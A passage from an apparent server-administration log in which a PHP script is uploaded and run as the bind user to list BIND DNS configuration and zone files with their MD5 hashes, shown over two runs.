		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 10:31:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp251057; rm /tmp/pkp251057'

2026-04-22 10:31:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 10:43:41: Establishing a connection
2026-04-22 10:43:41: 

PUT: /tmp/pkp707634

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 10:43:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp707634; rm /tmp/pkp707634'

2026-04-22 10:43:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
